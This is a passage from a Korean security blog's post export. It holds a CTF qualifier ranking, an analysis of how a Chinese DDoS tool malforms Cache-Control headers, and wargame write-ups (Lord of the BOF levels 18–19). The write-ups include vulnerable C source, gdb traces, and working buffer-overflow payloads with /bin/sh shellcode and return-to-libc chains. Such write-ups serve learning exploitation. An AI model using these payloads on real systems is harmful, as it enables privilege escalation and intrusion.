points) 13. flyingkick (2900 points) 14. netstat -na | grep 8080 (2800 points) 15. codebreaker (2300 points) 16. Big-Daddy (2300 points) 17. Dotgabi (2100 points) 18. Team No Brain (2030 points) 19. NULL Labs (2000 points) 20. kknock (1800 points) \u0026#34;dfjhfauiejfqwefaoisjd\u0026#34;, \u0026#34;This is my team name\u0026#34; are disqualified for some problem. see you guys in final round. thanks. ps ) CTF Online participation was 351 teams(total), \u0026amp; Final round will be held at AT Center in Seoul[map], 29-30th January http://ctf.padocon.org/ctf/index.php\n최종순위는 9위였는데 상위 몇몇팀이 본선 참가를 하지 않는다고 하여 어쩌다 보니 본선에 나가게 되었네요 -_-; 올해 첫 대회니 만큼 가벼운 마음으로 시작해야 겠습니다.\n","date":"2011-01-23T18:09:09Z","permalink":"/2011/01/23/padocon-2011-%EA%B2%B0%EA%B3%BC/","title":"PADOCON 2011 CTF 예선 결과"},{"content":"CC Attack에 대해서 기본적인 내용만 알고 있었고 세부적으로 몰라 오늘 검색을 해보았습니다. 네이버나 구글 등에서 검색을 하니 User-Agent 필드에 Cache-Control 필드를 넣어 공격을 한다고 나오군요. 보통 넣는 옵션값은 no-store, must-revalidate 이라고 하네요.\n음. 여기서 의문이 하나 들었는데 왜 User-Agent 필드에 넣는걸까요? Cache-Control 이라는 필드가 있는데 여기 들어가야 하는게 아닐까요? User-Agent에 넣었는데 Cache-Control 옵션이 먹혀서 웹서버에 부하를 준다구요?\n우선 Cache-Control 과 관련된 규약은 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Cache-Control = \u0026#34;Cache-Control\u0026#34; \u0026#34;:\u0026#34; 1#cache-directive cache-directive = cache-request-directive | cache-response-directive cache-request-directive = \u0026#34;no-cache\u0026#34; ; Section 14.9.1 | \u0026#34;no-store\u0026#34; ; Section 14.9.2 | \u0026#34;max-age\u0026#34; \u0026#34;=\u0026#34; delta-seconds ; Section 14.9.3, 14.9.4 | \u0026#34;max-stale\u0026#34; [ \u0026#34;=\u0026#34; delta-seconds ] ; Section 14.9.3 | \u0026#34;min-fresh\u0026#34; \u0026#34;=\u0026#34; delta-seconds ; Section 14.9.3 | \u0026#34;no-transform\u0026#34; ; Section 14.9.5 | \u0026#34;only-if-cached\u0026#34; ; Section 14.9.4 | cache-extension ; Section 14.9.6 cache-response-directive = \u0026#34;public\u0026#34; ; Section 14.9.1 | \u0026#34;private\u0026#34; [ \u0026#34;=\u0026#34; \u0026lt;\u0026#34;\u0026gt; 1#field-name \u0026lt;\u0026#34;\u0026gt; ] ; Section 14.9.1 | \u0026#34;no-cache\u0026#34; [ \u0026#34;=\u0026#34; \u0026lt;\u0026#34;\u0026gt; 1#field-name \u0026lt;\u0026#34;\u0026gt; ]; Section 14.9.1 | \u0026#34;no-store\u0026#34; ; Section 14.9.2 | \u0026#34;no-transform\u0026#34; ; Section 14.9.5 | \u0026#34;must-revalidate\u0026#34; ; Section 14.9.4 | \u0026#34;proxy-revalidate\u0026#34; ; Section 14.9.4 | \u0026#34;max-age\u0026#34; \u0026#34;=\u0026#34; delta-seconds ; Section 14.9.3 | \u0026#34;s-maxage\u0026#34; \u0026#34;=\u0026#34; delta-seconds ; Section 14.9.3 | cache-extension ; Section 14.9.6 cache-extension = token [ \u0026#34;=\u0026#34; ( token | quoted-string ) ] 출처 : http://www.rfc-editor.org/rfc/rfc2616.txt (Page 107)\n그리고 좀 더 검색을 해보았죠. 아래와 같은 이미지가 발견이 되었습니다.\n확인을 해보니 Cache-Control 문자열 앞에 0x0d 0xda 가 없는 것으로 보아 정말 User-Agent 필드에 해당 옵션값이 들어감을 알 수 있었습니다. 그리고 저 스크린샷은 \u0026quot;NetBot Attacker VIP\u0026quot; 라는 이름으로 알려진 중국산 DDOS 공격툴을 이용하여 발생한 패킷을 찍은 내용임을 알 수 있었습니다.\n오호? 그럼 정말 User-Agent에 저 값이 들어가면 웹서버에서 Cache-Control 옵션이 먹힌다는 것일까요? 그럴리가요. 좀 더 검색을 해보았습니다. 검색을 하니 아래와 같은 내용이 나오더군요.\n\u0026quot;일반적으로 알려진 중국 DDoS 공격 툴의 HTTP CC Attack 의 경우 ‘Cache-Control: no-store, must-revalidate’로 설정되어 DDoS 공격에 이용되나, 이는 HTTP 1.1 헤더 규약인 ‘Cache-Control’ 헤더 옵션에 지정되는 것이 아니라 클라이언트의 사용 브라우저 정보를 나타내는 ‘User-Agent’ 헤더 옵션에 추가된 잘못 기재된 사항이다.\u0026quot; 출처 : http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=1\u0026menu_dist=2\u0026seq=16316\n푸하하하하하. 그렇습니다. \u0026quot;NetBot Attacker VIP\u0026quot; 라는 DDOS 공격툴 제작자가 프로그램을 만들 때 Control-Cache 필드를 추가 하면서 앞에 \u0026quot;\\r\\n\u0026quot; 문자열을 안넣어준 것으로 보입니다.\n그로 인해 국내의 많은 보안 전문가들은 이 툴을 분석한 후 User-Agent에 Cache-Control 필드가 들어가면 CC Attack이 가능하다고 이해한 것으로 보입니다. 네이버나 구글에서 \u0026quot;CC Attack\u0026quot; 으로 검색하면 여전히 User-Agent 필드에 들어가야 한다는 내용이 다수 보이네요.\n마지막으로 제대로 구성된 CC Attack 관련 패킷 스크린샷 입니다. 역시 Cache-Control 문자열 앞에 0x0d 0x0a 가 있는 것으로 보아 필드가 제대로 구성되었음을 알 수 있습니다.\n출처 : http://snortrules.wordpress.com/2009/07/08/090707-ddos-attack-rule/\n아래 블로그는 CC Attack을 검색하다 발견한 내용인데 댓글에서 빵 터졌습니다 XD http://seculab.blogspot.com/2009/07/cc-attack.html\nPS. 잘못된 내용이 있다면 댓글 부탁 드립니다.\n","date":"2011-01-18T13:33:27Z","permalink":"/2011/01/18/cc-attack-%EA%B7%B8%EB%A6%AC%EA%B3%A0-user-agent/","title":"CC Attack 그리고 User-Agent"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 /* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;dumpcode.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // check address addr = (char *)\u0026amp;strcpy; if(memcmp(argv[1]+44, \u0026amp;addr, 4) != 0){ printf(You must fall in love with strcpy()\\n); exit(0); } // overflow! strcpy(buffer, argv[1]); printf(%s\\n, buffer); // dangerous waterfall memset(buffer+40+8, \u0026#39;A\u0026#39;, 4); } 우선 코드를 보면 strcpy() 함수 주소를 체크한다. 즉 오버플로우 후 리턴 주소가 strcpy() 함수 주소여야 한다. 따라서 strcpy() 함수를 이용하여 RTL 공격을 해야 한다는 것이다. 먼저 strcpy() 함수 원형을 살펴보자.\n1 2 3 #include \u0026lt;string.h\u0026gt; char *strcpy(char *dest, const char *src); 원형은 위와 같다. 먼저 목적지 주소가 들어가고 이후에 소스 주소가 들어가는 것이다. 우선 한번 테스트를 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 [succubus@localhost succubus]$ gdb nightmara GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x80486b4 \u0026lt;main\u0026gt;: push %ebp 0x80486b5 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x80486b7 \u0026lt;main+3\u0026gt;: sub $0x2c,%esp 0x80486ba \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x80486be \u0026lt;main+10\u0026gt;: jg 0x80486d7 \u0026lt;main+35\u0026gt; 0x80486c0 \u0026lt;main+12\u0026gt;: push $0x80487db 0x80486c5 \u0026lt;main+17\u0026gt;: call 0x80483e0 \u0026lt;printf\u0026gt; 0x80486ca \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x80486cd \u0026lt;main+25\u0026gt;: push $0x0 0x80486cf \u0026lt;main+27\u0026gt;: call 0x80483f0 \u0026lt;exit\u0026gt; 0x80486d4 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x80486d7 \u0026lt;main+35\u0026gt;: movl $0x8048410,0xffffffd4(%ebp) 0x80486de \u0026lt;main+42\u0026gt;: push $0x4 0x80486e0 \u0026lt;main+44\u0026gt;: lea 0xffffffd4(%ebp),%eax 0x80486e3 \u0026lt;main+47\u0026gt;: push %eax 0x80486e4 \u0026lt;main+48\u0026gt;: mov 0xc(%ebp),%eax 0x80486e7 \u0026lt;main+51\u0026gt;: add $0x4,%eax 0x80486ea \u0026lt;main+54\u0026gt;: mov (%eax),%edx 0x80486ec \u0026lt;main+56\u0026gt;: add $0x2c,%edx 0x80486ef \u0026lt;main+59\u0026gt;: push %edx 0x80486f0 \u0026lt;main+60\u0026gt;: call 0x80483c0 \u0026lt;memcmp\u0026gt; 0x80486f5 \u0026lt;main+65\u0026gt;: add $0xc,%esp 0x80486f8 \u0026lt;main+68\u0026gt;: mov %eax,%eax 0x80486fa \u0026lt;main+70\u0026gt;: test %eax,%eax 0x80486fc \u0026lt;main+72\u0026gt;: je 0x8048715 \u0026lt;main+97\u0026gt; 0x80486fe \u0026lt;main+74\u0026gt;: push $0x8048800 0x8048703 \u0026lt;main+79\u0026gt;: call 0x80483e0 \u0026lt;printf\u0026gt; 0x8048708 \u0026lt;main+84\u0026gt;: add $0x4,%esp 0x804870b \u0026lt;main+87\u0026gt;: push $0x0 0x804870d \u0026lt;main+89\u0026gt;: call 0x80483f0 \u0026lt;exit\u0026gt; 0x8048712 \u0026lt;main+94\u0026gt;: add $0x4,%esp 0x8048715 \u0026lt;main+97\u0026gt;: mov 0xc(%ebp),%eax 0x8048718 \u0026lt;main+100\u0026gt;: add $0x4,%eax 0x804871b \u0026lt;main+103\u0026gt;: mov (%eax),%edx 0x804871d \u0026lt;main+105\u0026gt;: push %edx 0x804871e \u0026lt;main+106\u0026gt;: lea 0xffffffd8(%ebp),%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048721 \u0026lt;main+109\u0026gt;: push %eax 0x8048722 \u0026lt;main+110\u0026gt;: call 0x8048410 \u0026lt;strcpy\u0026gt; 0x8048727 \u0026lt;main+115\u0026gt;: add $0x8,%esp 0x804872a \u0026lt;main+118\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804872d \u0026lt;main+121\u0026gt;: push %eax 0x804872e \u0026lt;main+122\u0026gt;: push $0x8048825 0x8048733 \u0026lt;main+127\u0026gt;: call 0x80483e0 \u0026lt;printf\u0026gt; 0x8048738 \u0026lt;main+132\u0026gt;: add $0x8,%esp 0x804873b \u0026lt;main+135\u0026gt;: push $0x4 0x804873d \u0026lt;main+137\u0026gt;: push $0x41 0x804873f \u0026lt;main+139\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048742 \u0026lt;main+142\u0026gt;: lea 0x30(%eax),%edx 0x8048745 \u0026lt;main+145\u0026gt;: push %edx 0x8048746 \u0026lt;main+146\u0026gt;: call 0x8048400 \u0026lt;memset\u0026gt; 0x804874b \u0026lt;main+151\u0026gt;: add $0xc,%esp 0x804874e \u0026lt;main+154\u0026gt;: leave 0x804874f \u0026lt;main+155\u0026gt;: ret End of assembler dump. (gdb) b *main+155 Breakpoint 1 at 0x804874f (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;BBBB\u0026#39;` Starting program: /home/succubus/nightmara `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;BBBB\u0026#39;` You must fall in love with strcpy() Program exited normally. (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39;` Starting program: /home/succubus/nightmara `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x804874f in main () (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;aaaa\u0026#39; + \u0026#39;bbbb\u0026#39; + \u0026#39;cccc\u0026#39;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/succubus/nightmara `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;aaaa\u0026#39; + \u0026#39;bbbb\u0026#39; + \u0026#39;cccc\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaabbbbcccc Breakpoint 1, 0x804874f in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. strcpy (dest=0x62626262 \u0026lt;Address 0x62626262 out of bounds\u0026gt;, src=0x63636363 \u0026lt;Address 0x63636363 out of bounds\u0026gt;) at ../sysdeps/generic/strcpy.c:37 37 ../sysdeps/generic/strcpy.c: No such file or directory. (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;aaaa\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` Starting program: /home/succubus/nightmara `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;aaaa\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaa Breakpoint 1, 0x804874f in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;aaaa\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/succubus/nightmara `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;aaaa\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39; + \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaa Breakpoint 1, 0x804874f in main () (gdb) x/32wx $esp 0xbffffacc: 0x08048410 0x41414141 0xbffffffc 0xbffffffc 0xbffffadc: 0x40013800 0x00000002 0x08048420 0x00000000 0xbffffaec: 0x08048441 0x080486b4 0x00000002 0xbffffb14 0xbffffafc: 0x08048350 0x0804877c 0x4000ae60 0xbffffb0c 0xbffffb0c: 0x40013e90 0x00000002 0xbffffc10 0xbffffc29 0xbffffb1c: 0x00000000 0xbffffc66 0xbffffc79 0xbffffc90 0xbffffb2c: 0xbffffcaf 0xbffffcd1 0xbffffcdf 0xbffffea2 0xbffffb3c: 0xbffffec1 0xbffffedf 0xbffffef4 0xbfffff14 (gdb) 0xbffffb4c: 0xbfffff1f 0xbfffff30 0xbfffff38 0xbfffff49 0xbffffb5c: 0xbfffff53 0xbfffff61 0xbfffff72 0xbfffff80 0xbffffb6c: 0xbfffff8b 0xbfffff9f 0x00000000 0x00000003 0xbffffb7c: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffb8c: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffffb9c: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffbac: 0x08048420 0x0000000b 0x00000205 0x0000000c 0xbffffbbc: 0x00000205 0x0000000d 0x00000205 0x0000000e (gdb) 0xbffffbcc: 0x00000205 0x00000010 0x0febfbff 0x0000000f 0xbffffbdc: 0xbffffc0b 0x00000000 0x00000000 0x00000000 0xbffffbec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x69000000 0xbffffc0c: 0x00363836 0x6d6f682f 0x75732f65 0x62756363 0xbffffc1c: 0x6e2f7375 0x74686769 0x6172616d 0x41414100 0xbffffc2c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc3c: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffc4c: 0x41414141 0x41414141 0x04841041 0x61616108 0xbffffc5c: 0xfffffc61 0xfffffcbf 0x575000bf 0x682f3d44 0xbffffc6c: 0x2f656d6f 0x63637573 0x73756275 0x4d455200 0xbffffc7c: 0x4845544f 0x3d54534f 0x2e323931 0x2e383631 0xbffffc8c: 0x00312e33 0x54534f48 0x454d414e 0x636f6c3d 0xbffffc9c: 0x6f686c61 0x6c2e7473 0x6c61636f 0x616d6f64 0xbffffcac: 0x4c006e69 0x4f535345 0x3d4e4550 0x73752f7c 0xbffffcbc: 0x69622f72 0x656c2f6e 0x69707373 0x732e6570 (gdb) 우선 디스어셈 한 코드를 보면 memcpy() 함수 호출하는 부분에서 조금 위를 살펴보면 0x8048410 주소가 나오는데 이 주소가 strcpy() 함수 주소임을 확인할 수 있었다. 그리고 임의로 인자를 aaaa 와 bbbb 그리고 cccc를 주고 확인한 결과 bbbb가 목적지 주소이며 cccc가 소스 주소임을 확인할 수 있었다.\n그리고 bbbb와 cccc 대신 스택내에 존재하는 아무 주소나 입력하여 확인한 결과 함수 실행 후 0x41414141 주소를 참조함을 확인할 수 있었다. 0x41414141 주소는 스택내에서 확인한 결과 strcpy() 함수 바로 다음에 오는 주소였다.\n그럼 이제 공격은 아래와 같이 구성해볼 수 있다. strcpy() 함수를 이용하여 0x41414141 값을 쉘코드가 위치한 주소로 변경시키는 것이다. PAYLOAD는 아래와 같다.\n[NOP+SHELLCODE, 44 Byte] [strcpy() 함수, 0x08048410] [AAAA] [바로앞 4 Byte 주소, 0xbffffad0] [NOP+SHELLCODE가 위치한 주소가 담긴 주소, 0xbffffadc] [NOP+SHELLCODE 주소, 0xbffffc2c]\n1 2 3 4 5 6 7 8 [succubus@localhost succubus]$ ./nightmare `python -c print \u0026#39;\\x90\u0026#39;*19 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39; + \u0026#39;\\x10\\x84\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;\\xd0\\xfa\\xff\\xbf\u0026#39; + \u0026#39;\\xdc\\xfa\\xff\\xbf\u0026#39; + \u0026#39;\\x2c\\xfc\\xff\\xbf\u0026#39;` /shh/binAAA, bash$ id uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus) bash$ my-pass euid = 518 beg for me bash$ ","date":"2011-01-17T16:32:43Z","permalink":"/2011/01/17/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-18-nightmare/","title":"BOF 원정대 - Level 18 (nightmare)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;dumpcode.h\u0026gt; // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf(welcome to the MO!\\n); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf(welcome to the YUT!\\n); check = 4; } void GUL(void) { if(check != 2) exit(0); printf(welcome to the GUL!\\n); check = 3; } void GYE(void) { if(check != 1) exit(0); printf(welcome to the GYE!\\n); check = 2; } void DO(void) { printf(welcome to the DO!\\n); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // you cannot use library if(strchr(argv[1], \u0026#39;\\x40\u0026#39;)){ printf(You cannot use library\\n); exit(0); } // check address addr = (char *)\u0026amp;DO; if(memcmp(argv[1]+44, \u0026amp;addr, 4) != 0){ printf(You must fall in love with DO\\n); exit(0); } // overflow! strcpy(buffer, argv[1]); printf(%s\\n, buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } 이번 문제는 각 함수를 RTL을 이용하여 실행 후 마지막 MO() 함수 인자를 구성해준 후 원하는 명령어를 실행하도록 하는 문제이다. 우선 디버깅을 통해 각 함수의 시작 주소를 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 [zombie_assassin@localhost zombie_assassin]$ gdb succubus_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble DO Dump of assembler code for function DO: 0x80487ec \u0026lt;DO\u0026gt;: push %ebp 0x80487ed \u0026lt;DO+1\u0026gt;: mov %esp,%ebp 0x80487ef \u0026lt;DO+3\u0026gt;: push $0x8048a0e 0x80487f4 \u0026lt;DO+8\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x80487f9 \u0026lt;DO+13\u0026gt;: add $0x4,%esp 0x80487fc \u0026lt;DO+16\u0026gt;: movl $0x1,0x8049a90 0x8048806 \u0026lt;DO+26\u0026gt;: leave 0x8048807 \u0026lt;DO+27\u0026gt;: ret End of assembler dump. (gdb) disassemble GYE Dump of assembler code for function GYE: 0x80487bc \u0026lt;GYE\u0026gt;: push %ebp 0x80487bd \u0026lt;GYE+1\u0026gt;: mov %esp,%ebp 0x80487bf \u0026lt;GYE+3\u0026gt;: cmpl $0x1,0x8049a90 0x80487c6 \u0026lt;GYE+10\u0026gt;: je 0x80487d2 \u0026lt;GYE+22\u0026gt; 0x80487c8 \u0026lt;GYE+12\u0026gt;: push $0x0 0x80487ca \u0026lt;GYE+14\u0026gt;: call 0x804845c \u0026lt;exit\u0026gt; 0x80487cf \u0026lt;GYE+19\u0026gt;: add $0x4,%esp 0x80487d2 \u0026lt;GYE+22\u0026gt;: push $0x80489f9 0x80487d7 \u0026lt;GYE+27\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x80487dc \u0026lt;GYE+32\u0026gt;: add $0x4,%esp 0x80487df \u0026lt;GYE+35\u0026gt;: movl $0x2,0x8049a90 0x80487e9 \u0026lt;GYE+45\u0026gt;: leave 0x80487ea \u0026lt;GYE+46\u0026gt;: ret 0x80487eb \u0026lt;GYE+47\u0026gt;: nop End of assembler dump. (gdb) disassemble GUL Dump of assembler code for function GUL: 0x804878c \u0026lt;GUL\u0026gt;: push %ebp 0x804878d \u0026lt;GUL+1\u0026gt;: mov %esp,%ebp 0x804878f \u0026lt;GUL+3\u0026gt;: cmpl $0x2,0x8049a90 0x8048796 \u0026lt;GUL+10\u0026gt;: je 0x80487a2 \u0026lt;GUL+22\u0026gt; 0x8048798 \u0026lt;GUL+12\u0026gt;: push $0x0 0x804879a \u0026lt;GUL+14\u0026gt;: call 0x804845c \u0026lt;exit\u0026gt; 0x804879f \u0026lt;GUL+19\u0026gt;: add $0x4,%esp 0x80487a2 \u0026lt;GUL+22\u0026gt;: push $0x80489e4 0x80487a7 \u0026lt;GUL+27\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x80487ac \u0026lt;GUL+32\u0026gt;: add $0x4,%esp 0x80487af \u0026lt;GUL+35\u0026gt;: movl $0x3,0x8049a90 0x80487b9 \u0026lt;GUL+45\u0026gt;: leave 0x80487ba \u0026lt;GUL+46\u0026gt;: ret 0x80487bb \u0026lt;GUL+47\u0026gt;: nop End of assembler dump. (gdb) disassemble YUT Dump of assembler code for function YUT: 0x804875c \u0026lt;YUT\u0026gt;: push %ebp 0x804875d \u0026lt;YUT+1\u0026gt;: mov %esp,%ebp 0x804875f \u0026lt;YUT+3\u0026gt;: cmpl $0x3,0x8049a90 0x8048766 \u0026lt;YUT+10\u0026gt;: je 0x8048772 \u0026lt;YUT+22\u0026gt; 0x8048768 \u0026lt;YUT+12\u0026gt;: push $0x0 0x804876a \u0026lt;YUT+14\u0026gt;: call 0x804845c \u0026lt;exit\u0026gt; 0x804876f \u0026lt;YUT+19\u0026gt;: add $0x4,%esp 0x8048772 \u0026lt;YUT+22\u0026gt;: push $0x80489cf 0x8048777 \u0026lt;YUT+27\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x804877c \u0026lt;YUT+32\u0026gt;: add $0x4,%esp 0x804877f \u0026lt;YUT+35\u0026gt;: movl $0x4,0x8049a90 0x8048789 \u0026lt;YUT+45\u0026gt;: leave 0x804878a \u0026lt;YUT+46\u0026gt;: ret 0x804878b \u0026lt;YUT+47\u0026gt;: nop End of assembler dump. (gdb) disassemble MO Dump of assembler code for function MO: 0x8048724 \u0026lt;MO\u0026gt;: push %ebp 0x8048725 \u0026lt;MO+1\u0026gt;: mov %esp,%ebp 0x8048727 \u0026lt;MO+3\u0026gt;: cmpl $0x4,0x8049a90 0x804872e \u0026lt;MO+10\u0026gt;: je 0x8048740 \u0026lt;MO+28\u0026gt; 0x8048730 \u0026lt;MO+12\u0026gt;: push $0x0 0x8048732 \u0026lt;MO+14\u0026gt;: call 0x804845c \u0026lt;exit\u0026gt; 0x8048737 \u0026lt;MO+19\u0026gt;: add $0x4,%esp 0x804873a \u0026lt;MO+22\u0026gt;: lea 0x0(%esi),%esi 0x8048740 \u0026lt;MO+28\u0026gt;: push $0x80489bb 0x8048745 \u0026lt;MO+33\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x804874a \u0026lt;MO+38\u0026gt;: add $0x4,%esp 0x804874d \u0026lt;MO+41\u0026gt;: mov 0x8(%ebp),%eax 0x8048750 \u0026lt;MO+44\u0026gt;: push %eax 0x8048751 \u0026lt;MO+45\u0026gt;: call 0x804840c \u0026lt;system\u0026gt; 0x8048756 \u0026lt;MO+50\u0026gt;: add $0x4,%esp 0x8048759 \u0026lt;MO+53\u0026gt;: leave 0x804875a \u0026lt;MO+54\u0026gt;: ret 0x804875b \u0026lt;MO+55\u0026gt;: nop End of assembler dump. (gdb) 주소를 모두 찾았다. 찾은 주소는 아래와 같다. DO : 0x80487e GYE : 0x80487bc GUL : 0x804878c YUT : 0x804875c MO : 0x8048724\n이제 이 주소들을 이용해서 인자 구성을 하여서 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 [zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\ welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! sh: 1TRhLQV: command not found Segmentation fault [zombie_assassin@localhost zombie_assassin]$ 우선 함수들이 제대로 실행됨을 알 수 있다. 이제 마지막으로 MO 함수의 인자를 정확하게 구성해주어 sh 혹은 bash를 실행하면 될 것으로 보인다. 디버깅을 통해 인자를 어찌 구성해줘야 하는지 확인해 보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 [zombie_assassin@localhost zombie_assassin]$ gdb succubus_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for 